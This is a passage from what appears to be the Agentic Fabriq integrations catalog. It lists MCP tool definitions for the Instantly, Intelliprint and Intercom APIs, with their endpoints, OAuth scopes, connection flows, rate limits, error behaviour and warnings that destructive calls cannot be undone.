`all:create`, `all:all` via POST /api/v2/inbox-placement-tests. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_tests:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/inbox-placement-tests. Scopes: inbox_placement_tests:create. instantly_post_api_v2_lead_labels (write) — Create lead label -- Requires one of the following scopes: `lead-labels:create`, `lead-labels:all`, `all:create`, `all:all` via POST /api/v2/lead-labels. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/lead-labels. Scopes: lead-labels:create. instantly_post_api_v2_lead_labels_ai_reply_label (write) — Test AI reply label prediction -- Returns the AI-predicted lead label for a reply text. This simulates how AI auto-tagging would label an incoming reply for testing custom labels and descriptions. Rate limit: 500 requests per 30 days per workspace. This rate limit applies only to this testing endpoint; live reply processing does not use this limiter. Requires one of the following scopes: `lead-labels:read`, `lead-labels:all`, `all:read`, `all:all` via POST /api/v2/lead-labels/ai-reply-label. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/lead-labels/ai-reply-label. Scopes: lead-labels:read. instantly_post_api_v2_lead_lists (write) — Create lead list -- Requires one of the following scopes: `lead_lists:create`, `lead_lists:all`, `all:create`, `all:all` via POST /api/v2/lead-lists. Agentic Fabriq asks the connection for the narrowest of those, `lead_lists:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/lead-lists. Scopes: lead_lists:create. instantly_post_api_v2_leads (write) — Create lead -- Requires one of the following scopes: `leads:create`, `leads:all`, `all:create`, `all:all` via POST /api/v2/leads. Agentic Fabriq asks the connection for the narrowest of those, `leads:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads. Scopes: leads:create. instantly_post_api_v2_leads_add (write) — Add leads in bulk to a campaign or list -- Adds up to 1000 leads to either a campaign or a list. You must provide a `campaign_id` or a `list_id`, but not both. The endpoint validates emails, checks against blocklists and existing leads. Requires one of the following scopes: `leads:create`, `leads:all`, `all:create`, `all:all` via POST /api/v2/leads/add. Agentic Fabriq asks the connection for the narrowest of those, `leads:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/add. Scopes: leads:create. instantly_post_api_v2_leads_bulk_assign (write) — Bulk assign leads to organization users via POST /api/v2/leads/bulk-assign. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/leads/bulk-assign. Scopes: none. instantly_post_api_v2_leads_list (write) — List leads -- This endpoint is a POST endpoint, instead of GET - a deviation from the REST APIs standards we’re following because of the complex arguments it accepts, which would be too hard to express through query parameters. Results are ordered by each lead's `id` field in ascending order (or by `contact` when distinct_contacts is true) so clients can paginate chronologically by reusing the cursor returned in `next_starting_after`. Leads created on or after October 15, 2025 respect this chronological ordering; older records may appear out of sequence when sorted by ID. Requires one of the following scopes: `leads:read`, `leads:all`, `all:read`, `all:all` via POST /api/v2/leads/list. Agentic Fabriq asks the connection for the narrowest of those, `leads:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/list. Scopes: leads:read. instantly_post_api_v2_leads_merge (write) — Merge two leads Requires one of the following scopes: `leads:update`, `leads:all`, `all:update`, `all:all` via POST /api/v2/leads/merge. Agentic Fabriq asks the connection for the narrowest of those, `leads:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/merge. Scopes: leads:update. instantly_post_api_v2_leads_move (write) — Move leads to a campaign or list -- Move leads to a different campaign or list. This endpoint will return a background job that will process the move. The job will be processed in the background and the leads will be moved to the destination campaign or list. You can use the `/background-jobs/:id` endpoint to check the job status. Note: When using the `ids` parameter, you must also provide either `campaign` or `list_id` to specify which campaign or list to filter the leads from. Requires one of the following scopes: `leads:update`, `leads:all`, `all:update`, `all:all` via POST /api/v2/leads/move. Agentic Fabriq asks the connection for the narrowest of those, `leads:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/move. Scopes: leads:update. instantly_post_api_v2_leads_subsequence_move (write) — Move a lead to a subsequence Requires one of the following scopes: `leads:update`, `leads:all`, `all:update`, `all:all` via POST /api/v2/leads/subsequence/move. Agentic Fabriq asks the connection for the narrowest of those, `leads:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/subsequence/move. Scopes: leads:update. instantly_post_api_v2_leads_subsequence_remove (write) — Remove a lead from a subsequence Requires one of the following scopes: `leads:update`, `leads:all`, `all:update`, `all:all` via POST /api/v2/leads/subsequence/remove. Agentic Fabriq asks the connection for the narrowest of those, `leads:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/leads/subsequence/remove. Scopes: leads:update. instantly_post_api_v2_leads_update_interest_status (write) — Update the interest status of a lead via POST /api/v2/leads/update-interest-status. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/leads/update-interest-status. Scopes: none. instantly_post_api_v2_oauth_google_init (write) — Initialize google oauth -- Creates an OAuth session and returns the Google authorization URL. The user should be redirected to auth_url to complete the OAuth flow. Poll the status endpoint to check for completion. **Special rate limits (stricter than the standard API rate limit) to comply with upstream Google rate limits:** - 5 requests per minute per workspace - 10 requests per minute per IP If Google's upstream OAuth service is temporarily unavailable, requests may return 503. via POST /api/v2/oauth/google/init. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/oauth/google/init. Scopes: none. instantly_post_api_v2_oauth_microsoft_init (write) — Initialize microsoft oauth -- Creates an OAuth session and returns the Microsoft authorization URL. The user should be redirected to auth_url to complete the OAuth flow. Poll the status endpoint to check for completion. **Special rate limits (stricter than the standard API rate limit) to comply with upstream Microsoft rate limits:** - 5 requests per minute per workspace - 10 requests per minute per IP If Microsoft's upstream OAuth service is temporarily unavailable, requests may return 503. via POST /api/v2/oauth/microsoft/init. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/oauth/microsoft/init. Scopes: none. instantly_post_api_v2_subsequences (write) — Create campaign subsequence -- Requires one of the following scopes: `subsequences:create`, `subsequences:all`, `all:create`, `all:all` via POST /api/v2/subsequences. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/subsequences. Scopes: subsequences:create. instantly_post_api_v2_subsequences_by_id_duplicate (write) — Duplicate a subsequence with the same trigger conditions Requires one of the following scopes: `subsequences:create`, `subsequences:all`, `all:create`, `all:all` via POST /api/v2/subsequences/{id}/duplicate. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/subsequences/{id}/duplicate. Scopes: subsequences:create. instantly_post_api_v2_subsequences_by_id_pause (write) — Pause a subsequence Requires one of the following scopes: `subsequences:update`, `subsequences:all`, `all:update`, `all:all` via POST /api/v2/subsequences/{id}/pause. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/subsequences/{id}/pause. Scopes: subsequences:update. instantly_post_api_v2_subsequences_by_id_resume (write) — Resume a paused subsequence Requires one of the following scopes: `subsequences:update`, `subsequences:all`, `all:update`, `all:all` via POST /api/v2/subsequences/{id}/resume. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/subsequences/{id}/resume. Scopes: subsequences:update. instantly_post_api_v2_supersearch_enrichment (write) — Create an enrichment for a specific resource (list or campaign). This is the main endpoint for adding enrichments to resources. The enrichments are automatically run after creation. via POST /api/v2/supersearch-enrichment. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/supersearch-enrichment. Scopes: none. instantly_post_api_v2_supersearch_enrichment_ai (write) — Create AI enrichment -- Create an AI enrichment for a resource (list or campaign) Requires one of the following scopes: `supersearch_enrichments:create`, `supersearch_enrichments:all`, `all:create`, `all:all` via POST /api/v2/supersearch-enrichment/ai. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/supersearch-enrichment/ai. Scopes: supersearch_enrichments:create. instantly_post_api_v2_supersearch_enrichment_count_leads_from_supersearch (write) — Count leads from supersearch -- Count the number of leads matching a SuperSearch query without enriching them. This endpoint is intended to estimate lead availability before running an enrichment. Requires one of the following scopes: `supersearch_enrichments:read`, `supersearch_enrichments:all`, `all:read`, `all:all` via POST /api/v2/supersearch-enrichment/count-leads-from-supersearch. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/supersearch-enrichment/count-leads-from-supersearch. Scopes: supersearch_enrichments:read. instantly_post_api_v2_supersearch_enrichment_enrich_leads_from_supersearch (write) — Enrich leads from supersearch -- Add leads from SuperSearch to the list or the campaign and enrich them. A list is automatically created if no resource is provided. via POST /api/v2/supersearch-enrichment/enrich-leads-from-supersearch. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/supersearch-enrichment/enrich-leads-from-supersearch. Scopes: none. instantly_post_api_v2_supersearch_enrichment_preview_leads_from_supersearch (write) — Preview leads from supersearch -- Preview the leads matching a SuperSearch query without enriching them Requires one of the following scopes: `supersearch_enrichments:read`, `supersearch_enrichments:all`, `all:read`, `all:all` via POST /api/v2/supersearch-enrichment/preview-leads-from-supersearch. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/supersearch-enrichment/preview-leads-from-supersearch. Scopes: supersearch_enrichments:read. instantly_post_api_v2_supersearch_enrichment_run (write) — Run enrichment for resource -- Run all enrichments associated with a resource for a list of leads or for all the leads that haven't been enriched yet via POST /api/v2/supersearch-enrichment/run. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/supersearch-enrichment/run. Scopes: none. instantly_post_api_v2_webhooks (write) — Create webhook -- Requires one of the following scopes: `webhooks:create`, `webhooks:all`, `all:create`, `all:all` via POST /api/v2/webhooks. Agentic Fabriq asks the connection for the narrowest of those, `webhooks:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/webhooks. Scopes: webhooks:create. instantly_post_api_v2_webhooks_by_id_resume (write) — Resume a webhook that was disabled due to repeated delivery failures Requires one of the following scopes: `webhooks:update`, `webhooks:all`, `all:update`, `all:all` via POST /api/v2/webhooks/{id}/resume. Agentic Fabriq asks the connection for the narrowest of those, `webhooks:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/webhooks/{id}/resume. Scopes: webhooks:update. instantly_post_api_v2_webhooks_by_id_test (write) — Test a webhook -- Send a test payload to a webhook URL to verify it is working via POST /api/v2/webhooks/{id}/test. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/webhooks/{id}/test. Scopes: none. instantly_post_api_v2_workspace_group_members (write) — Create workspace group member -- This endpoint allows you to send an invitation for a sub workspace to join the admin workspace. The sub workspace will be added as a sub workspace of the admin workspace only if the sub workspace owner accepts the invitation. Requires one of the following scopes: `workspace_group_members:create`, `workspace_group_members:all`, `all:create`, `all:all` via POST /api/v2/workspace-group-members. Agentic Fabriq asks the connection for the narrowest of those, `workspace_group_members:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/workspace-group-members. Scopes: workspace_group_members:create. instantly_post_api_v2_workspace_members (write) — Create workspace member -- Requires one of the following scopes: `workspace_members:create`, `workspace_members:all`, `all:create`, `all:all` via POST /api/v2/workspace-members. Agentic Fabriq asks the connection for the narrowest of those, `workspace_members:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/workspace-members. Scopes: workspace_members:create. instantly_post_api_v2_workspaces_current_change_owner (write) — Change workspace owner -- Requires one of the following scopes: `workspaces:update`, `workspaces:all`, `all:update`, `all:all` via POST /api/v2/workspaces/current/change-owner. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/workspaces/current/change-owner. Scopes: workspaces:update. instantly_post_api_v2_workspaces_current_whitelabel_domain (write) — Set the agency domain for the workspace -- Requires one of the following scopes: `workspaces:update`, `workspaces:all`, `all:update`, `all:all` via POST /api/v2/workspaces/current/whitelabel-domain. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/workspaces/current/whitelabel-domain. Scopes: workspaces:update. ================================================================================ ## Intelliprint URL: https://www.agenticfabriq.com/integrations/intelliprint Section: Integrated Tools Intelliprint — 17 MCP tools Provider key: intelliprint. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. intelliprint_delete_backgrounds_by_id (write, destructive) — Delete a background via DELETE /backgrounds/{id}. Permanently delete a background. Intelliprint REFUSES the deletion if any print job has used this background in the last 90 days, because it keeps the artwork for reproduction until those jobs are archived -- so a 400 on a real id is usually that rule, not a mistake. An unknown id answers 400 "No such background". There is no undo and no recycle bin: Intelliprint's API offers no way to restore what this call removes. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. DELETE /api/v1/intelliprint/backgrounds/{id}. Scopes: api. intelliprint_delete_mailing_lists_by_id (write, destructive) — Delete a mailing list via DELETE /mailing_lists/{id}. Permanently delete a mailing list AND every recipient in it. There is no undo. Print jobs already created from the list are not affected. An unknown id answers 400 "No such mailing_list" and deletes nothing. There is no undo and no recycle bin: Intelliprint's API offers no way to restore what this call removes. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. DELETE /api/v1/intelliprint/mailing_lists/{id}. Scopes: api. intelliprint_delete_mailing_lists_by_mailing_list_recipients_by_id (write, destructive) — Delete a mailing list recipient via DELETE /mailing_lists/{mailing_list}/recipients/{id}. Permanently remove one recipient from a mailing list. There is no undo. An unknown mailing list or recipient id answers 400 `parameter_invalid` and removes nothing. There is no undo and no recycle bin: Intelliprint's API offers no way to restore what this call removes. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. DELETE /api/v1/intelliprint/mailing_lists/{mailing_list}/recipients/{id}. Scopes: api. intelliprint_delete_prints_by_id (write, destructive) — Cancel or delete a print job via DELETE /prints/{id}. Cancel or delete a print job. For a CONFIRMED job this cancels every mail item still `waiting_to_print` and refunds their cost to the account; letters already sent or in processing are neither cancelled nor refunded, so the job may survive partially. For an UNCONFIRMED (draft) job it deletes the job outright. Intelliprint answers 200 with the updated print job, or 202 `{"deleted": true, "id": ..., "object": "print"}` while the cancellation is still being applied. An unknown id answers 400 "No such print" and changes nothing. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. DELETE /api/v1/intelliprint/prints/{id}. Scopes: api. intelliprint_get_backgrounds (read) — List backgrounds via GET /backgrounds. List the stored background artworks (letterheads and the like) that print jobs can reference by id, optionally narrowed to one team (`team` must be a `team_...` id). The reply is `{"object": "list", "data": [...], "total_available": N, "has_more": bool}`; page with `limit` (1-1000, default 10) and `skip`. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/backgrounds. Scopes: api. intelliprint_get_backgrounds_by_id (read) — Get a background via GET /backgrounds/{id}. Fetch one background by id. The `pdf` field is a SIGNED URL to a preview PDF, minted fresh on every retrieval and valid for one hour -- treat it as a short-lived link, not a stable address. An unknown id answers 400 "No such background". Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/backgrounds/{id}. Scopes: api. intelliprint_get_mailing_lists (read) — List mailing lists via GET /mailing_lists. List the account's mailing lists with their recipient counts. The reply is `{"object": "list", "data": [...], "total_available": N, "has_more": bool}`; page with `limit` (1-1000, default 10) and `skip`. This is where a mailing list id (`mal_...`) comes from; recipient ids are `malrcp_...` (measured 2026-09-20 -- the spec's example `mal_rcp_eg` has an extra underscore). Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/mailing_lists. Scopes: api. intelliprint_get_mailing_lists_by_id (read) — Get a mailing list via GET /mailing_lists/{id}. Fetch one mailing list by id, with its name, recipient count, address validation state and `longest_address_line`. An unknown id answers 400 "No such mailing_list". Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/mailing_lists/{id}. Scopes: api. intelliprint_get_mailing_lists_by_mailing_list_recipients (read) — List mailing list recipients via GET /mailing_lists/{mailing_list}/recipients. List the recipients of one mailing list. The reply is `{"object": "list", "data": [...], "total_available": N, "has_more": bool}`; page with `limit` (1-1000, default 10) and `skip`. This is where a recipient id comes from. An unknown mailing list id answers 400 "No such mailing_list". Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/mailing_lists/{mailing_list}/recipients. Scopes: api. intelliprint_get_mailing_lists_by_mailing_list_recipients_by_id (read) — Get a mailing list recipient via GET /mailing_lists/{mailing_list}/recipients/{id}. Fetch one recipient of a mailing list by its id, with its address, `address_validation_status` and variables. An unknown mailing list or recipient id answers 400 `parameter_invalid`. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/mailing_lists/{mailing_list}/recipients/{id}. Scopes: api. intelliprint_get_prints (read) — List print jobs via GET /prints. List the account's print jobs (letters and postcards), newest first by default, with optional filters. BY DEFAULT ONLY LIVE-MODE JOBS ARE RETURNED: pass `testmode=true` to see the jobs created in test mode instead -- the two are separate lists, not a superset. `confirmed` separates jobs that have been released for printing from drafts; `letters.status` takes one status or a comma-separated list (`waiting_to_print,printing`); `reference` is an exact, case-sensitive match. The reply is `{"object": "list", "data": [...], "total_available": N, "has_more": bool}`; page with `limit` (1-1000, default 10) and `skip`. This is where a print job id (`print_...`) comes from. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/prints. Scopes: api. intelliprint_get_prints_by_id (read) — Get a print job via GET /prints/{id}. Fetch one print job by id: its type, recipients, per-letter statuses, cost, confirmation state and test-mode flag. An id the account does not hold answers 400 `parameter_invalid` "No such print: " (Intelliprint reports an unknown id as an invalid parameter, not as a 404 -- a 404 here means the ROUTE is wrong, not the id). Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. GET /api/v1/intelliprint/prints/{id}. Scopes: api. intelliprint_post_backgrounds_by_id (write) — Update a background via POST /backgrounds/{id}. Rename a background or change which team may use it from the dashboard (`team` is a `team_...` id, or null to make it available to everyone). The artwork itself cannot be replaced through this integration: uploads are multipart and are not offered. Both body fields are optional. Validation runs before the record is looked up (an unknown body field is refused with 400 `parameter_unknown`), and an unknown id answers 400 "No such background". Intelliprint answers 400 with `error.code` (`parameter_missing`, `parameter_unknown`, `parameter_invalid`) and `error.param` naming the exact field, and an unknown body field is REFUSED rather than ignored -- send only documented fields. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. POST /api/v1/intelliprint/backgrounds/{id}. Scopes: api. intelliprint_post_mailing_lists (write) — Create a mailing list via POST /mailing_lists. Create a mailing list, optionally seeding it with recipients in bulk. `name` is REQUIRED (measured: `{}` answers 400 `parameter_missing` naming `name`); each recipient carries an `address` whose `line` is required, with `name`, `postcode` and `country` (ISO 3166-1 alpha-2, default GB) optional, plus free-form `variables` for template personalisation. `address_validation.requested` asks for PAF address checking, a paid service that has to be enabled on the account first. Unknown body fields are refused with 400 `parameter_unknown` rather than ignored. Creating a list sends nothing and costs nothing. Intelliprint answers 400 with `error.code` (`parameter_missing`, `parameter_unknown`, `parameter_invalid`) and `error.param` naming the exact field, and an unknown body field is REFUSED rather than ignored -- send only documented fields. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. POST /api/v1/intelliprint/mailing_lists. Scopes: api. intelliprint_post_mailing_lists_by_id (write) — Update a mailing list via POST /mailing_lists/{id}. Update a mailing list: rename it, and/or add recipients in bulk. Recipients you send are ADDED to the list; set `delete_old_recipients` to true to replace the whole list with the ones you send instead. All body fields are optional. An unknown body field is refused with 400 `parameter_unknown`, and an unknown id answers 400 "No such mailing_list". Intelliprint answers 400 with `error.code` (`parameter_missing`, `parameter_unknown`, `parameter_invalid`) and `error.param` naming the exact field, and an unknown body field is REFUSED rather than ignored -- send only documented fields. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. POST /api/v1/intelliprint/mailing_lists/{id}. Scopes: api. intelliprint_post_mailing_lists_by_mailing_list_recipients (write) — Add a mailing list recipient via POST /mailing_lists/{mailing_list}/recipients. Add ONE recipient to a mailing list. `address` is required and its `line` is the one required field inside it (`name`, `postcode`, `country` optional, country defaults to GB); `variables` is a free-form object of per-recipient template fields. To add many at once, update the mailing list instead. An unknown mailing list id answers 400 "No such mailing_list". Intelliprint answers 400 with `error.code` (`parameter_missing`, `parameter_unknown`, `parameter_invalid`) and `error.param` naming the exact field, and an unknown body field is REFUSED rather than ignored -- send only documented fields. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. POST /api/v1/intelliprint/mailing_lists/{mailing_list}/recipients. Scopes: api. intelliprint_post_mailing_lists_by_mailing_list_recipients_by_id (write) — Update a mailing list recipient via POST /mailing_lists/{mailing_list}/recipients/{id}. Update one recipient's address and/or variables. Both body fields are optional. An unknown mailing list or recipient id answers 400 `parameter_invalid`. Intelliprint answers 400 with `error.code` (`parameter_missing`, `parameter_unknown`, `parameter_invalid`) and `error.param` naming the exact field, and an unknown body field is REFUSED rather than ignored -- send only documented fields. Intelliprint allows 100 requests per 10 seconds per source IP address (shared across every connection on this platform) and answers 429 `rate_limited` beyond it; wait ten seconds and retry -- a 429 is never a credential problem. POST /api/v1/intelliprint/mailing_lists/{mailing_list}/recipients/{id}. Scopes: api. ================================================================================ ## Intercom URL: https://www.agenticfabriq.com/integrations/intercom Section: Integrated Tools Intercom — 231 MCP tools Provider key: intercom. Scopes: none. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. intercom_delete_ai_content_import_sources_by_source_id (write, destructive) — Delete content import source via DELETE /ai/content_import_sources/{source_id} DELETE /api/v1/intercom/ai/content_import_sources/{source_id}. Scopes: none. intercom_delete_ai_external_pages_by_page_id (write, destructive) — Delete external page via DELETE /ai/external_pages/{page_id} DELETE /api/v1/intercom/ai/external_pages/{page_id}. Scopes: none. intercom_delete_articles_by_article_id (write, destructive) — Delete article via DELETE /articles/{article_id} DELETE /api/v1/intercom/articles/{article_id}. Scopes: none. intercom_delete_articles_by_article_id_tags_by_id (write, destructive) — Detach tag from article via DELETE /articles/{article_id}/tags/{id} DELETE /api/v1/intercom/articles/{article_id}/tags/{id}. Scopes: none. intercom_delete_audiences_by_id (write, destructive) — Delete audience via DELETE /audiences/{id} DELETE /api/v1/intercom/audiences/{id}. Scopes: none. intercom_delete_companies_by_company_id (write, destructive) — Delete company via DELETE /companies/{company_id} DELETE /api/v1/intercom/companies/{company_id}. Scopes: none. intercom_delete_contacts_by_contact_id (write, destructive) — Delete contact via DELETE /contacts/{contact_id} DELETE /api/v1/intercom/contacts/{contact_id}. Scopes: none. intercom_delete_contacts_by_contact_id_companies_by_company_id (write, destructive) — Detach contact from a company via DELETE /contacts/{contact_id}/companies/{company_id} DELETE /api/v1/intercom/contacts/{contact_id}/companies/{company_id}. Scopes: none. intercom_delete_contacts_by_contact_id_subscriptions_by_subscription_id (write, destructive) — Detach subscription type to contact via DELETE /contacts/{contact_id}/subscriptions/{subscription_id} DELETE /api/v1/intercom/contacts/{contact_id}/subscriptions/{subscription_id}. Scopes: none. intercom_delete_contacts_by_contact_id_tags_by_tag_id (write, destructive) — Detach tag from contact via DELETE /contacts/{contact_id}/tags/{tag_id} DELETE /api/v1/intercom/contacts/{contact_id}/tags/{tag_id}. Scopes: none. intercom_delete_content_snippets_by_content_snippet_id_tags_by_id (write, destructive) — Detach tag from content snippet via DELETE /content_snippets/{content_snippet_id}/tags/{id} DELETE /api/v1/intercom/content_snippets/{content_snippet_id}/tags/{id}. Scopes: none. intercom_delete_content_snippets_by_id (write, destructive) — Delete content snippet via DELETE /content_snippets/{id} DELETE /api/v1/intercom/content_snippets/{id}. Scopes: none. intercom_delete_conversations_attributes_by_id (write, destructive) — Delete conversation attribute via DELETE /conversations/attributes/{id} DELETE /api/v1/intercom/conversations/attributes/{id}. Scopes: none. intercom_delete_conversations_attributes_by_id_options_by_option_id (write, destructive) — Delete conversation attribute option via DELETE /conversations/attributes/{id}/options/{option_id} DELETE /api/v1/intercom/conversations/attributes/{id}/options/{option_id}. Scopes: none. intercom_delete_conversations_by_conversation_id (write, destructive) — Delete conversation via DELETE /conversations/{conversation_id} DELETE /api/v1/intercom/conversations/{conversation_id}. Scopes: none. intercom_delete_conversations_by_conversation_id_customers_by_contact_id (write, destructive) — Detach contact from conversation via DELETE /conversations/{conversation_id}/customers/{contact_id} DELETE /api/v1/intercom/conversations/{conversation_id}/customers/{contact_id}. Scopes: none. intercom_delete_conversations_by_conversation_id_tags_by_tag_id (write, destructive) — Detach tag from conversation via DELETE /conversations/{conversation_id}/tags/{tag_id} DELETE /api/v1/intercom/conversations/{conversation_id}/tags/{tag_id}. Scopes: none. intercom_delete_custom_object_instances_by_custom_object_type_identifier (write, destructive) — Delete custom object instances by id via DELETE /custom_object_instances/{custom_object_type_identifier} DELETE /api/v1/intercom/custom_object_instances/{custom_object_type_identifier}. Scopes: none. intercom_delete_custom_object_instances_by_custom_object_type_identifier_by_custom_object_instance_id (write, destructive) — Delete custom object instances by external id via DELETE /custom_object_instances/{custom_object_type_identifier}/{custom_object_instance_id} DELETE /api/v1/intercom/custom_object_instances/{custom_object_type_identifier}/{custom_object_instance_id}. Scopes: none. intercom_delete_data_connectors_by_id (write, destructive) — Delete data connector via DELETE /data_connectors/{id} DELETE /api/v1/intercom/data_connectors/{id}. Scopes: none. intercom_delete_help_center_collections_by_collection_id (write, destructive) — Delete collection via DELETE /help_center/collections/{collection_id} DELETE /api/v1/intercom/help_center/collections/{collection_id}. Scopes: none. intercom_delete_help_center_help_centers_by_help_center_id_redirects_by_id (write, destructive) — Delete help center redirect via DELETE /help_center/help_centers/{help_center_id}/redirects/{id} DELETE /api/v1/intercom/help_center/help_centers/{help_center_id}/redirects/{id}. Scopes: none. intercom_delete_internal_articles_by_internal_article_id (write, destructive) — Delete internal article via DELETE /internal_articles/{internal_article_id} DELETE /api/v1/intercom/internal_articles/{internal_article_id}. Scopes: none. intercom_delete_internal_articles_by_internal_article_id_tags_by_id (write, destructive) — Detach tag from internal article via DELETE /internal_articles/{internal_article_id}/tags/{id} DELETE /api/v1/intercom/internal_articles/{internal_article_id}/tags/{id}. Scopes: none. intercom_delete_news_news_items_by_news_item_id (write, destructive) — 